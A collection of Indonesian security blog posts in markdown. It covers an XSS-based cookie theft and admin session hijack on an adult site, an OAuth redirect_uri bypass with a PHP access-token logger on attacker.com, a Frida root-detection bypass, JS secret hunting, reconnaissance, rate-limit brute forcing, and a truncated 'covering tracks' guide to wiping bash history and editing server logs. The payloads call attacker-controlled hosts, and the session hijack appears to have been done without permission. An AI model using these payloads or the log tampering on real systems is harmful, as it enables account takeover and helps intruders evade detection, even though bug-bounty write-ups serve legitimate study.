bahwa dia baru saja mendapatkan _bounty_ dari salah satu situs haram yang ada di luar sana. Singkat cerita, saya mencoba mencari peruntungan serupa dengan mencari situs sejenis di pencarian Google dengan harapan menemukan situs yang cukup "umum" yang secara fitur punya banyak bagian yang bisa saya coba untuk masuki. Untuk mempermudah dan agar saya tidak perlu menyebut nama situsnya, mari kita sebut situs ini sebagai `situsharam.com`. <img src="https://infosec.zerobyte.id/images/screenshot-situs-haram.png" alt="Mengintip Dashboard Admin Situs Haram"> Setelah mencoba beberapa fitur seperti list _actors/actress_, kategori, pencarian, serta fitur yang membutuhkan autentikasi pengguna seperti _edit profile_, _like_, _comment_ dan semacamnya, saya menemukan beberapa celah yang detailnya akan saya jelaskan di bawah ini. ### Reflected XSS pada Halaman Pencarian Celah pertama adalah _Reflected XSS_ yang saya temukan di halaman pencarian. Payload yang saya gunakan adalah: ```html asd"><ScRiPt%20>alert(1);<%2fscript> ``` Saat mencoba, saya menemukan bahwa karakter `/` diblok oleh WAF sehingga saya coba untuk mem-bypass rule tersebut menggunakan karakter `%2f`. Dari temuan ini saya bisa menggunakan _payload_ yang sudah disisipi _script_ untuk mencuri `cookie` pengguna. Pada kasus di dunia nyata, seorang penyerang akan menyisipkan javascript yang bertujuan untuk mencuri _cookie_ pengguna dan beberapa data lain, lalu mengirimnya pada server penyerang. Untuk melakukan ini, penyerang perlu mengirim URL (yang sudah disisipi _payload_) ke pengguna lain atau pemilik/admin dari situs ini. Lalu penyerang akan menggunakan data tersebut untuk masuk di situs target tanpa menggunakan _username_ dan _password_. <img src="https://infosec.zerobyte.id/images/screenshot-reflected-xss-pencarian.jpg" alt="Mengintip Dashboard Admin Situs Haram"> ### Stored XSS pada Profile Saya rasa kebanyakan _bug bounty hunter_ (termasuk saya) akan mencoba memasukkan _payload_ ke setiap form yang kami temui. Dengan modal "penting yakin", saya mengisi `"><h1>asdf</h1>"` pada kolom nama di halaman _Edit Profile_. Setelah menyimpan perubahan tersebut, kode HTML yang saya sisipkan dibaca oleh situs sehingga menandakan adanya potensi untuk _Stored XSS_. <img src="https://infosec.zerobyte.id/images/screenshot-html-injection-profile.jpg"> Saya melanjutkan dengan memasukkan payload: ```html "><script src=//x.serversaya.com></script><x=" ``` - `">` = digunakan untuk keluar dari input form (```<input>```) - `<script src=//x.serversaya.com></script>` = digunakan untuk memanggil script dari server saya (<a href="https://github.com/ssl/ezXSS" target="_blank">ezXSS</a>) - `<x="` = digunakan untuk membuka kembali hasil escape dari input form, sehingga tidak ada " type="text" dst seperti screenshot di atas Setelah beberapa waktu menunggu, saya mendapat notifikasi bahwa payload di atas ditemukan di domain lain (cp.situslain.com) yang mana adalah dashboard admin dari `situsharam.com`. Berikut detail laporan dari <a href="https://github.com/ssl/ezXSS" target="_blank">ezXSS</a> saat payload saya ditemukan di dashboard admin (klik gambar untuk memperbesar). <a href="https://infosec.zerobyte.id/images/screenshot-xss-dashboard-admin-situs-haram.jpg" target="_blank"><img src="https://infosec.zerobyte.id/images/screenshot-xss-dashboard-admin-situs-haram.jpg" alt="Mengintip Dashboard Admin Situs Haram"></a> Pada tangkapan layar di atas, terlihat ada `cookie` admin yang tertangkap oleh kode javascript yang saya panggil. Saya akan mencoba menggunakan Cookie tersebut untuk masuk ke `https://cp.situslain.com/user/edit/{userid}`. Ketika mengakses `https://cp.situslain.com/user/edit/{userid}`, saya dialihkan ke halaman login `https://cp.situslain.com/user/login`. <img src="https://infosec.zerobyte.id/images/screenshot-login-page-set-cookie.jpg" alt="Mengintip Dashboard Admin Situs Haram"> Selanjutnya saya mencoba _set cookie_ manual melalui `Console` pada `inspect element` dengan cara memasukkan kode javascript. Cookie ini berasal dari laporan ezXSS di atas: ```javascript document.cookie = 'PHPSESSID=lot4#######################'; ```` Setelah Cookie di-set, saya mencoba mengulang lagi dan akhirnya berhasil membuka halaman `https://cp.situslain.com/user/edit/{userid}`. <img src="https://infosec.zerobyte.id/images/screenshot-dashboard-admin-situs-haram.jpg" alt="Mengintip Dashboard Admin Situs Haram"> **Disclaimer** _Level_ dan _Credit_ yang tertera pada screenshot adalah pemberian admin (apresiasi, menurut istilah sekarang) setelah saya melaporkan temuan ini. Proses pelaporan tidak akan saya jelaskan di sini, hehe. Sekian artikel "Mengintip Dashboard Admin Situs Haram". Semoga ada yang bisa dipelajari dari artikel ini, selain akhirnya kita tahu bentuk halaman dashboard admin situs haram. Sampai jumpa di artikel selanjutnya. ``` 2022-8-31-bypass-open-redirect_takeover-account.md ```--- layout: post title: Bypass Open Redirect to Takeover Account via OAuth categories: [Web Security, Bug bounty write-up] author: Rafshanzani Suhada --- Mungkin kalian sudah tidak asing lagi dengan metode `Takeover Account (OAuth)` yang memanfaatkan param `redirect_uri`. Diartikel ini akan menjelaskan Bypass Open Redirect yang mengakibatkan akun diambil alih. Untuk penjelasan apa itu Open Redirect dan Akun takeover kalian dapat membacanya diartikel berikut: * <https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html> * <https://www.imperva.com/learn/application-security/account-takeover-ato/> Pada umumnya bug ini hanya menambahkan / merubah param menjadi `redirect_uri=https://attacker.com`, namun pada kasus ini saya mendapatkan error pada saat menambahkan param tersebut. Lalu saya muncul ide untuk merubahnya menjadi `redirect_uri=https://target.com.attacker.com/`, cukup kaget dan ini ternyata berhasil. ![Terkejut](https://infosec.zerobyte.id/images/shock.gif) Jika kurang jelas saya akan menjelaskan lebih detail. **Request** : ``` https://auth.target.id/login?oidc_sp=google&redirect_uri=https://attacker.com/ ``` Pada saat melakukan request tersebut terdapat **error**, Lalu saya merubah param `redirect_uri` menjadi `https://target.id.attacker.com/` dan ternyata berhasil mengalihkan url, jadi request berubah seperti berikut: **Request** : ``` https://auth.target.id/login?oidc_sp=google&redirect_uri=https://target.id.attacker.com/ ``` --- # Skenario ### Server (target.id.attacker.com) Membuat file yang seolah olah target.id memiliki diskon untuk membeli produk File: POC.html ```html <!DOCTYPE html> <html> <body> <h1>Discount 80% Plan Business</h1> <p><a href="https://auth.target.id/login?oidc_sp=google&redirect_uri=https://target.id.attacker.com/">CLAIM NOW!</a></p> </body> </html> ``` File: index.php ```php <?php function redirect($url) { header('Location: ' . $url); die(); } $token = "$_SERVER[REQUEST_URI]"; $filetoken = fopen("token_param.txt", "a+") or die("Unable to open file!"); fwrite($filetoken, $token .PHP_EOL); fclose($myfile); redirect('https://target.id' . $token); ``` ### Steps to Reproduce * Attacker Mengirim url <https://target.id.attacker.com/POC.html> ke victim * Ketika diklik "CLAIM NOW" oleh victim maka akan dialihkan ke target.id Setelah proses tersebut selesai attacker melihat isi file `token_param.txt` yang dimana file tersebut tersimpan `ACCESS TOKEN` dan dapat digunakan untuk login victim. ### Bagaimana cara ambil alih akun dengan token tersebut? Attacker dapat melakukan login hanya menggunakan `ACCESS TOKEN` tersebut. ``` https://target.id/{TOKEN_PARAM} ``` --- Pada platform bugbounty di Bugcrowd termasuk P2 (Priority 2) atau High. ![Bugcrowd](https://infosec.zerobyte.id/images/OAuth_Bugcrowd_P2.png) Dalam kasus ini saya melakukan report diplatform Bugcrowd & mendapatkan reward sebesar $400 ![Hore](https://infosec.zerobyte.id/images/Prof-reward_1.png) Mohon maaf jika yang saya jelaskan kurang jelas, karena saya memang tidak begitu pandai membuat tulisan. "Tetaplah rendah hati dan selalu memiliki keinginkan untuk menjadi sesuatu yang diinginkan." ``` 2023-6-6-bypass-root-detection-frida.md ```--- layout: post title: Bypass Root Detection Aplikasi Android Menggunakan Frida categories: [Pentesting, Mobile Application Pentesting] author: yuyudhn --- Dalam dunia pengembangan aplikasi mobile, keamanan merupakan hal yang sangat penting. Salah satu aspek keamanan yang sering diterapkan adalah deteksi root pada perangkat Android. Root detection digunakan untuk mengidentifikasi apakah perangkat yang menjalankan aplikasi tersebut telah di-root atau tidak. Namun, bagi seorang peneliti keamanan atau pengembang aplikasi yang ingin melakukan pengujian lebih lanjut, root detection dapat menjadi hambatan sehingga diperlukan root detection bypass. Ada beberapa modul untuk melakukan bypass root detection pada aplikasi Android, seperti Magisk, Shamiko, Xposed, dll. Tapi bagaimana jika didalam aplikasi Android yang kita pakai sudah terdapat function untuk memeriksa dan mengenali modul diatas? Di sinilah peran Frida sebagai alat dynamic instrumentation sangat penting. Dalam artikel ini, kami akan menjelaskan bagaimana menggunakan Frida untuk melakukan bypass root detection pada perangkat Android, membuka peluang untuk menguji aplikasi dengan lebih bebas dan mendalam. ### Bypass Root Detection with Frida Disini saya tidak akan menjelaskan bagaimana cara menginstall ataupun mengkonfigurasi frida maupun frida-server, kalian bisa googling sendiri untuk cara instalasinya. Namun lebih ke bagaimana kita melakukan inspeksi function Root Detection yang ada pada aplikasi, lalu melakukan hooking menggunakan frida untuk membypass function tersebut. Yang dibutuhkan: - Jadx-GUI - Frida - Android Emulator Bagi pengguna Kali Linux, `jadx` dapat diinstall menggunakan perintah ```bash sudo apt update && sudo apt install jadx -y ``` Untuk pemanasan, kita akan coba untuk melakukan bypass root detection pada aplikasi [AndroGoat](https://github.com/satishpatnayak/MyTest/blob/master/AndroGoat.apk). Sebelum memulai tutorial ini, buat satu file .js dengan nama terserah (sebagai contoh disini saya buat dengan nama inori.js), lalu isikan didalamnya: ```javascript Java.perform(function () { // Bypass Root Detection }); ``` Pertama, buka file .apk menggunakan Jadx-GUI, lalu cari function yang digunakan untuk menjalankan root detection. Berikut beberapa keyword yang mungkin bisa dipakai: "/bin", "which su", "rooted". ![Search root detection](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpLqONSFdhX-VFA3Gko4GYvdCqfkaOKcPL7UC2BfH8MCntKDgB0M0qySNa7Z-TBr_kL7k3DzW779EVGuokBZ6ukpIUsmkJVTjOG-GgPeVgICVMx39aKKecy2Hmpf3QCy95roAgFLLOTBeNOnc5iYpVjIgI6n2rlJaGTMSQ1nMZu-69cmds0qQnzSrlWA/s746) Disini terlihat ada dua fungsi yang digunakan untuk mendeteksi root pada device, yakni fungsi `isRooted` dan fungsi `isRooted1`. ![Root Detection](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNRBd2Ga0AMIaxZJxNkTNrCXq74t9eR7Bv9bk7c2bMxuwDQHYIknVhgSrT1cSmRBVpeas2ICfi91TKkBPgiQ_aTY13awzJx--jA1rqrE8XgxcRZE2O252d3dp8I1om54RjWy-ZZKdbUkw8YRBrz021jkAkjKHRh-P4Ywvrchx_S2aqUUv7vNUiHTpsbw/s833) Selanjutnya, klik kanan pada nama fungsi `isRooted` lalu klik **Copy as frida snippet**. ![Copy to Frida](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivj-0etv6I7j_tL4KasoZfDiCWdEaLDLG6PCh1auYSFB4irhdUcXsvrdDb4tjO5hHjoiOxa85b4RtxLQAkDPnihZroBcmU4SiDGiA1H9lxvZN2i7UeNcxlSBb_TWSTYsfiiGEyeJSpVdBUcvbjI7e6-leHjHCEhyAtfl3V1QGa8-ijulDU9pwI6s1pJg/s777) Paste kedalam file .js yang sudah kita siapkan sebelumnya. Ubah nilai return menjadi false. Sekarang kode yang kita miliki menjadi seperti berikut: ```javascript Java.perform(function () { // Bypass Root Detection let RootDetectionActivity = Java.use("owasp.sat.agoat.RootDetectionActivity"); RootDetectionActivity["isRooted"].implementation = function () { console.log(`RootDetectionActivity.isRooted is called`); let result = this["isRooted"](); console.log(`RootDetectionActivity.isRooted result=${result}`); return false; }; }); ``` Ulangi langkah sebelumnya ke function `isRooted1`. Namun karena `RootDetectionActivity` sudah dideklarasikan sebelumnya, hapus untuk yang kedua. Sehingga final script untuk bypass root detection kita menjadi: ```javascript Java.perform(function () { // Bypass Root Detection let RootDetectionActivity = Java.use("owasp.sat.agoat.RootDetectionActivity"); RootDetectionActivity["isRooted"].implementation = function () { console.log(`RootDetectionActivity.isRooted is called`); let result = this["isRooted"](); console.log(`RootDetectionActivity.isRooted result=${result}`); return false; }; RootDetectionActivity["isRooted1"].implementation = function () { console.log(`RootDetectionActivity.isRooted1 is called`); let result = this["isRooted1"](); console.log(`RootDetectionActivity.isRooted1 result=${result}`); return false; }; }); ``` Selanjutnya kita bisa spawn aplikasi AndroGoat menggunakan perintah: ```bash frida -l inori.js -U -f owasp.sat.agoat ``` "owasp.sat.agoat" adalah nama proses yang bisa dicek menggunakan perintah `frida-ps -Uai`. Ketika kita cek di AndroGoat, maka notifikasi yang muncul ketika kita cek adalah "Device is not rooted" yang menunjukkan bypass root detection kita berhasil. ![Root Bypassed](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrhhsN2MBWMFTfzxuIoINe0teyTyv4I-ozDL5-cLvsE_PAz_R3Mx0qwMQ31WUIYortoiARqDjIWpRrQ_4s83sNKzSRDJFYfJwvtGmJAlnSvDC86fDHao9CJEX7L784ekNDypzU7RTDm48lpgp5rDGm-2NwQW-0_UITPzHaDcP6Fk_NxwTRsYKK5WdqCg/s839) Jadi teori sederhananya dalam melakukan bypass root detection adalah: Inspeksi file .apk menggunakan Jadx > Cari fungsi root detection > Copy ke frida snippet > ubah nilai return menjadi false. ### Study Case: Bypass iRoot Plugin Oke, sekarang ke real case dimana aktifitas bypass root detection ini harus dilakukan ketika saya melakukan pentesting mobile apps salah satu client. Namun karena alasan privasi, saya tidak akan me-reveal nama aplikasi maupun tampilan aplikasinya. Root detection pada aplikasi ini tidak bisa dibypass menggunakan script publik dari Frida CodeShare. Berikut hasil yang didapat ketika mencoba melakukan bypass dengan script [antiroot](https://codeshare.frida.re/@dzonerzy/fridantiroot/) dari Frida CodeShare. ![Apps Killed](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBLpnRH1XVJNZzb5UQHnQI_Kj4R2XscaMf51qZKet5c0Ds3JUe994uWlEAh05vpnS-jSa6sIGdtw3yiQfZDFCs8j4r3uKwaiW3IVD_JAsTlPrMEeyw6VXG5CCdDwYGQuUKTkTNiKPCiLXG7Fz4vKTK1E4Q3jUDRaWuXb1xrWW797zEssh0rR0fgaSkZw/s850) Intinya, ketika aplikasi di spawn menggunakan Frida, root masih terdeteksi dan aplikasi langsung force closed. Selanjutnya kita cari function Root Detection menggunakan Jadx seperti yang sudah kita bahas sebelumnya. ![search /bin](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9QL_4sr-EqtZCa0IHl4Ewtaf7hpBAQIg-t7tRlMTA0WD5x7dnQEU9OJM4mK5Ew1l9g0i7SZ0rFbPT5XCUZMHzovVsN8dSc0pnGk1HDZFG3YrIPZIvc6p6yn2bnAmxWD_LL_wGDBjugxOHfpCTA7NPltvfAMJrJwFP24dQGFfQUtclWq5M7XUsJ2VbVQ/s1114) ![Root Check](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbBYiUbftkpqYrkt-SfX_bmYfvodqiqPxehO-U1bSTxx8OY4JceA1a5ebAbsfOv4UaAADr1KDxd5HYMZnaD8JhyPdYso5QiJUumAbg_6JI-5nAvLStEcW3H1-BW9zNHHjKA7o4Mvu74gsbSKCLbKwYRhWYLERCH24RvIFVfBjTMG-qVHi_jSw1ZAXhFw/s923) Disini ketika tau bahwa aplikasi menggunakan plugin iRoot, saya mencoba public script dari Frida CodeShare namun ternyyata masih gagal. ![iRoot](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJQdJPVWswQ1UizvE3mQtv9QzNDg1LY3wn6T3ngqSgPzzjPFmo3JVszMtrPmxo_ad4Ip-vpaJ7AsvNC0YrmG4cHuYNnNJD9HJ77APrL8jIzgJVqbXIkArvOKe3VW2DbL1paXuSb-SKuy7eNYwr0-UCvSBrmn9vwxrABVbmHvAkP4A-AZuN5WrZonq-bw/s931) - https://codeshare.frida.re/@JJK96/iroot-root-detection-bypass/ Singkat cerita, ketemulah function untuk mendeteksi root tersebut. ![isRooted](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4d_0fIOiovcONE7fvOV4bAoXxOrjV5doTbrld4burmhpX4s0LnjXrZpOIU9iTpFzvSFCGJ2F8tXMX5pcQUcluVmTGFJ53OWj5ZUFfynMblrxgFW5T5NrAK9UwvoiY3BjwLp2YytJ-eLp9DU0qJ2P1g3DXdOx3c_GbTbhK5N6eiUCAOxGg1Y-8C_jGRg/s991) Selanjutnya kita cari lagi dimana class u1.b dipanggil. ![Search u1.b](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD4dWfU5wCurg7XMFXf3-IXbkFELa9UmIZ4mUaH6UKs5KZynF29IteNhur8Vdh3K3OyJhJBfVUwcdBc6_v3mVgtMPP60lavH8R1lbvR5hQqB3Z3gX7IXzijxyu1_xLbBAzvdiaX3J5vhS2aqcBCHV90mjxm3aklpVtqMYou_kRTKXi8txmA7HcBQx-Sg/s872) Setelah ketemu, kita langsung copy ke frida snippet. ![Copy to Frida](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs6dkWOg_xJPClrBcZnN0iAAZQSljTDZdedgQJ_DGxdiVzT9hOl3GJpVBONR74rWPspai0ufNO-ZMI7o5DwFOgswWy0p1UtSbjTWsqvmGSL3m8npjm6dv3a240eOh2-QSdlVhmLCeGrlWh-EDaKhA9Zfdi8X6C8HUIDJ1fQ7UZMuoYY0d2s-u5ODEZ0g/s893) Final script: ```javascript Java.perform(function () { // iRoot Bypass let IRoot = Java.use("de.cyberkatze.iroot.IRoot"); IRoot["execute"].implementation = function (str, jSONArray, callbackContext) { console.log(`IRoot.execute is called: str=${str}, jSONArray=${jSONArray}, callbackContext=${callbackContext}`); let result = this["execute"](str, jSONArray, callbackContext); console.log(`IRoot.execute result=${result}`); return false; }; }); ``` Root bypassed. ![Bypassed](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjfMRV1Ui-g5nYvmW8Ik3zN-ft3xPc5tqHoPNgnc3xqshZVjUjuLN6xf6rDiis0h6S-EWml2W-XGog3vvOQv3x2Zxdb23cSKEME99a7keaGPLRnVWAuzPa-_2UjbVl4uM4ccON-5vdWX5DMOXMFuVLdCOfHrc24tB6PxTxvu-mZCqC3uS2MvRTwrhEdg/s953) Oke mungkin itu saja mengenai bypass root detection menggunakan Frida. Di artikel selanjutnya (jika saya sempat) kita akan membahas mengenai bypass SSL Pinning pada aplikasi. Thanks buat Mas [Firdy](https://github.com/firdyfirdy) dan Mas [Suhada](https://github.com/0xshdax) serta kawan-kawan ZeroByte lainnya atas diskusi dan juga pencerahannya.``` 2022-10-5-hunting-secret-key-in-javascript-file.md ```--- layout: post title: Hunting Secret Key in JavaScript File categories: [Web Security, Bug bounty write-up] author: Rafshanzani Suhada --- Banyak dari kalian yang mungkin belum tahu mengenai hal ini dan artikel ini akan menjelaskan cara untuk mendapatkan _Secret Key_ di _File .js_. Berikut Tool yang akan digunakan: - https://github.com/lc/gau - https://github.com/projectdiscovery/nuclei # Hunting JavaScript File Dengan bantuan _Tool_ **gau** (getallurls) kita dapat mengekstraksi URL melalui AlienVault's Open Threat Exchange, the Wayback Machine, dan Common Crawl kemudian melakukan _Filter_ endpoint untuk JS file saja. ``` echo example.com | gau --threads 10 | cut -d"?" -f1 | grep -E "\.js(?:onp?)?$" | tee jslinks.txt ``` Setelah URL _File .js_ terkumpul, selanjutnya mencari _Secret Key_ pada _File JavaScript (.js)_ kita menggunakan _Tool_ nuclei dengan template yang sudah disediakan. ``` nuclei -t exposures/tokens/ -l jslinks.txt ``` ![Nuclei Scan](https://infosec.zerobyte.id/images/nuclei-token-exposure-scan.png) Sebagai contoh di sini saya menemukan Secret Key yang dapat mengakses salah satu _Provider_ untuk _Service Mailer_. ![Sendgrid Secret Key](https://infosec.zerobyte.id/images/sendgrid-secret-key-leaked.png) Secret Key yang ditemukan bisa dapat dieksploitasi lebih lanjut. ``` 2020-2-14-passive-reconnaissance-untuk-bug-hunting.md ```--- layout: post title: Passive Reconnaissance untuk Bug Hunting categories: [Web Security] author: Novran Faathir --- ## Passive Reconnaissance? Reconnaissance adalah sebuah metode pengintaian untuk mengumpulkan informasi (Information Gathering) sedangkan Passive Reconnaissance di sini memiliki arti mengintai tanpa melakukan enumerasi secara langsung kepada target, namun kita akan memanfaatkan sebuah third-party atau data miliki aplikasi lain (contohnya: seperti Search Engine atau mesin yang menyimpan sebuah histori target), dengan kata lain kita akan memanfaatkan OSINT (Open Source Intelligent) untuk melakukan Passive Reconnaissance. `Kalau bahasa simple-nya itu seperti dukun, mencari informasi tanpa menyentuh target secara langsung.` Hal apa saja yang dapat kita lakukan? # Mencari IP address dibalik Cloudflare menggunakan Historical DNS Pada saat mencari IP address dibalik Cloudflare, biasanya saya menggunakan mesin dari: - <https://www.virustotal.com/gui/domain/target.com/relations> - <https://securitytrails.com/domain/target.com/history/a> - <https://viewdns.info/iphistory/?domain=target.com> ![VirusTotal show-case](/images/passive-recon-cloudflare-virustotal.jpg "VirusTotal show-case") # Mencari Endpoint sebuah website Dalam Bug Hunting mencari Endpoint adalah hal terpenting untuk menemukan kerentanan pada aplikasi. Endpoint yang saya maksud disini yaitu - Contoh: http://target.com/api/token ``` Host: http://target.com Endpoint: /api/token ``` **Pencarian endpoint website menggunakan mesin VirusTotal:** - <https://www.virustotal.com/gui/domain/target.com/relations> (pada bagian URLs) **Pencarian endpoint website menggunakan Google Dork:** ``` site:target.com/* site:target.com/*/*/* ``` **Pencarian endpoint website menggunakan web.archive.org:** - <http://web.archive.org/cdx/search/cdx?url=target.com/*&output=text&fl=original&collapse=urlkey> # Mencari "parameter name" pada sebuah URL Pencarian "parameter name" pada URL digunakan untuk mencari celah Injection seperti SQL Injection, Reflected XSS, dan lain-lain. - Sample: `http://target.com/index.php?parameterName=value"%20onclick="alert('xss')">` Sebagai contoh disini kita dapat menggunakan API dari **web.archive.org** Untuk mempermudah lebih baik menggunakan shell command di bawah ini: ``` root@linux:~# curl -s "http://web.archive.org/cdx/search/cdx?url=target.com/*&output=text&fl=original&collapse=urlkey&limit=10000" | grep -Po '\?\K.*?(?=\=)' | sort -V | uniq ... catalogId clkid empty encp field-keywords ... root@linux:~# ``` Setelah itu kita fuzzing satu per satu. Contoh: ``` root@linux:~# curl -s http://target.com/?catalogId=TESTXSS%22F | grep 'TESTXSS"F' root@linux:~# curl -s http://target.com/?field-keywords=TESTXSS%22F | grep 'TESTXSS"F' <a href="http://target.com/?field-keywords=TESTXSS"F">TEST</a> ``` # Mencari Port yang terbuka Untuk menemukan port yang terbuka saya lebih sering menggunakan Shodan. - <https://www.shodan.io/host/192.168.10.20> 192.168.10.20 adalah sample IP yang ingin saya ketahui port apa saja yang terbuka. ![Shodan Port Discovery](/images/passive-recon-shodan-port.png "Shodan Port Discovery") Untuk alternatifnya kalian dapat menggunakan mesin milik <https://censys.io/>. # Mencari Subdomain Mungkin ini sudah sangat familiar untuk kalangan Bug Bounty Hunter. Mencari Subdomain menggunakan Google Dork: ``` site:*.target.com site:*.*.target.com ``` Kalian juga dapat menggunakan mesin di bawah ini: - <https://www.virustotal.com/gui/domain/target.com/relations> - <https://securitytrails.com/list/apex_domain/target.com> - <https://crt.sh/?q=target.com> - <http://web.archive.org/cdx/search/cdx?url=*.target.com&output=text&fl=original&collapse=urlkey> Supaya lebih cepat saat pencarian Subdomain, kalian dapat menggunakan tools di bawah ini: - <https://github.com/Screetsec/Sudomy> - <https://github.com/aboul3la/Sublist3r> ## Summary Passive Reconnaissance tentunya lebih unggul untuk hal "kecepatan" namun kurang dalam hal "ketepatan" dibandingkan dengan Active Reconnaissance karena sewaktu-waktu aplikasi dapat berubah. Pada artikel ini saya hanya menggunakan beberapa mesin saja untuk dijadikan contoh, kalian dapat mengeksplor lebih lanjut dan temukan mesin-mesin kalian. Terima kasih untuk Edo Maland, Bayu Fedra, Suhada, dan Rio untuk sharing-sharingnya sampai pagi terkait hal ini. Semoga artikel ini bermanfaat dan bilamana ada kesalahan jangan ragu untuk koreksi. ``` 2022-10-11-no-rate-limit-attack.md ```--- layout: post title: No Rate Limit Attack categories: [Web Security] author: Novran Faathir --- No Rate Limit adalah suatu celah yang dimanfaatkan untuk **melakukan request berulang kali tanpa ada batasan dari aplikasi** atau lebih tepatnya **Attacker dapat mengulangi request tersebut secara berulang tanpa ada batasan**. No Rate Limit sendiri adalah nama Universal-nya Brute Force. No Rate Limit termasuk dalam "**CWE-770**" yaitu **Allocation of Resources Without Limits or Throttling**, atau kalian dapat lihat pada halaman berikut ini <https://cwe.mitre.org/data/definitions/770.html>. Tentu saja bagi seorang Bug Hunter ini sering dimanfaatkan untuk: - Email Triggering (Spam) - SMS Triggering (Spam) - Email Enumeration - Brute Force Reset Token Code - Bypass 2FA - Second Factor Authentication (Brute Force) # Apakah serangan ini berbahaya? Berbahaya atau tidak tergantung impact (dampaknya). ### Low - No Rate Limit Attack Menurut Vulnerability Rating Taxonomy pada Bugcrowd beberapa hal tentang No Rate Limit termasuk dalam P4 (Priority 4) atau LOW. ![no-rate-limit-vrt](https://infosec.zerobyte.id/images/no-rate-limit-vrt.png) Beberapa diantaranya sudah kita sebutkan di atas (Email Triggering & SMS Triggering). ### Critical - No Rate Limit Attack Pada 2016 silam, Security Researcher bernama Anand Prakash berhasil menemukan celah No Rate Limit (Brute Force) pada beta.facebook.com. Hal ini menyebabkan ia dapat meretas seluruh akun Facebook milik orang lain. Ia dapat melakukan Brute Force pada endpoint reset password beta.facebook.com, lebih tepatnya pada parameter "n=" ia dapat melakukan request tanpa ada batasan (menggunakan 6 digit kode: 000000–999999) hingga mendapatkan reset token code yang valid. ``` POST /recover/as/code HTTP/1.1 Host: beta.facebook.com lsd={TOKEN}&n=[000000–999999] ``` Referensi : <https://medium.com/appsecure/responsible-disclosure-how-i-could-have-hacked-all-facebook-accounts-f47c0252ae4d> --- # Bagaimana cara menemukan celah No Rate Limit? Pertama-tama kita cari salah satu endpoint yang sekiranya dapat Trigger Email, contohnya Reset Password. Kemudian masukan Email (akun yang sudah terdaftar milik kalian), sebelum kalian Submit, kalian perlu mencatat request-nya, kalian dapat menggunakan Burp Suite / Developer Tool (tekan F12 pada Browser). Setelah tekan "Submit" kalian coba lakukan berulang kali, pada Burp Suute terdapat menu "Intruder", namun disini kami akan menggunakan CURL. Kembali pada Burp Suite / Developer Tool, pada request yang tercatat kalian copy request tersebut sebagai curl dengan cara klik kanan dan "Copy as CURL". ![no-rate-limit-1](https://infosec.zerobyte.id/images/no-rate-limit-1.png) Kemudian jalankan pada shell kalian seperti di bawah ini. ![no-rate-limit-2](https://infosec.zerobyte.id/images/no-rate-limit-2.png) Supaya lebih mudah kalian dapat membuat script simple seperti di bawah ini: ![no-rate-limit-3](https://infosec.zerobyte.id/images/no-rate-limit-2.png) Lakukan setidaknya 100 kali dan memastikan bahwa tidak ada limitasi dari aplikasi tersebut. Bilamana **tujuan kalian melakukan Email Triggering** pastikan bahwa Email tersebut membanjiri akun kalian (sesuai dengan request yang kalian kirim). --- Tentu saja celah ini sangat mudah ditemui pada Platform mana pun, **namun INGAT!** sebelum kalian berburu pastikan hal ini tidak mengganggu jalannya Production (dengan cara melihat **Scope** baik-baik), karena aktivitas ini sangat "harm". ``` 2020-3-9-covering-track-menjadi-hantu-pada-linux-server.md ```--- layout: post title: Covering Track! Menjadi Hantu pada Linux Server categories: [Covering Track] author: Novran Faathir --- Sesuatu hal yang "SULIT TERDETEKSI" itu memanglah menarik, sama seperti melakukan Covering Track. Sebelumnya artikel ini sudah kita bahas pada Blog ZeroByte.ID yang lama, namun saya coba tulis ulang disini. **Covering Track adalah** upaya untuk menghilangkan jejak setelah melakukan penyerangan terhadap aplikasi maupun Server. Pada dasarnya seorang Administrator itu akan selalu berurusan dengan yang namanya Log File dan tentunya sebagai Attacker pun harus menghindar dari Log File tersebut. ### REMEMBER: For Education Purpose Only! Artikel ini hanya untuk pembelajaran saja dan untuk kedepannya mungkin kami akan menulis tentang solusi untuk `Anti Covering Track`-nya juga. Peran kita disini yaitu sebagai "Attacker" yang sudah melakukan Take-over sebuah Server yang menggunakan sistem operasi Linux, kemudian kita masuk kedalam Shell dari Server tersebut. # BASH History **HISTFILE** HISTFILE adalah sebuah Environment Variable pada Linux yang digunakan untuk mengarahkan sebuah file history yang berisi command-command yang sebelumnya sudah pernah dieksekusi oleh User. ``` user1@linux:~$ echo $HISTFILE /home/user1/.bash_history ``` ``` user1@linux:~$ cat /home/user1/.bash_history sudo apt-get clean sudo vi /etc/apt/sources.list sudo apt-get update ... ``` Supaya aktifitas kita sebagai Attacker tidak tercatat, lebih baik kita arahkan ke `/dev/null`. ``` user1@linux:~$ HISTFILE=/dev/null user1@linux:~$ echo $HISTFILE /dev/null ``` Namun ada langkah frustasi, kalau kita lupa mengarahkan BASH History sebelumnya (di-awal). **Clean History** ``` user1@linux:~$ history -c ``` # Clean Your Public IP from Log File Hal ini dapat dilakukan kalau kalian memiliki hak akses level "root" karena disini kita akan memanipulasi Log File tentunya. Pertama-tama ketahuilah IP Public kita sendiri, kita dapat melihatnya melalui website: <https://www.whatismyip.com/> **Mencari Log File yang mencatat IP kita** ``` root@linux:~# grep -Rn 'YOUR IP' /var/log/ 2> /dev/null ``` Atau gunakan command di bawah ini untuk mencari LOG keseluruhan (dari root): ``` root@linux:~# grep -Rn 'YOUR IP' / 2> /dev/null ``` **NOTE:** Ubah `YOUR IP` menjadi IP Address kalian. **Manipulasi IP Address pada Log File** `Mengapa tidak dihapus saja LOG-nya?` Jika Log File kita hapus, itu adalah tindakan yang gegabah dan tidak menutup kemungkinan `Administrator` akan melakukan eskalasi ke pihak `Provider`. **Manipulasi Log** Disini kita akan menggunakan perintah `sed`. Contoh: ``` root@linux:~# sed 's/KATA ASLI/KATA GANTI/g' file ``` Supaya lebih cepat memanipulasi 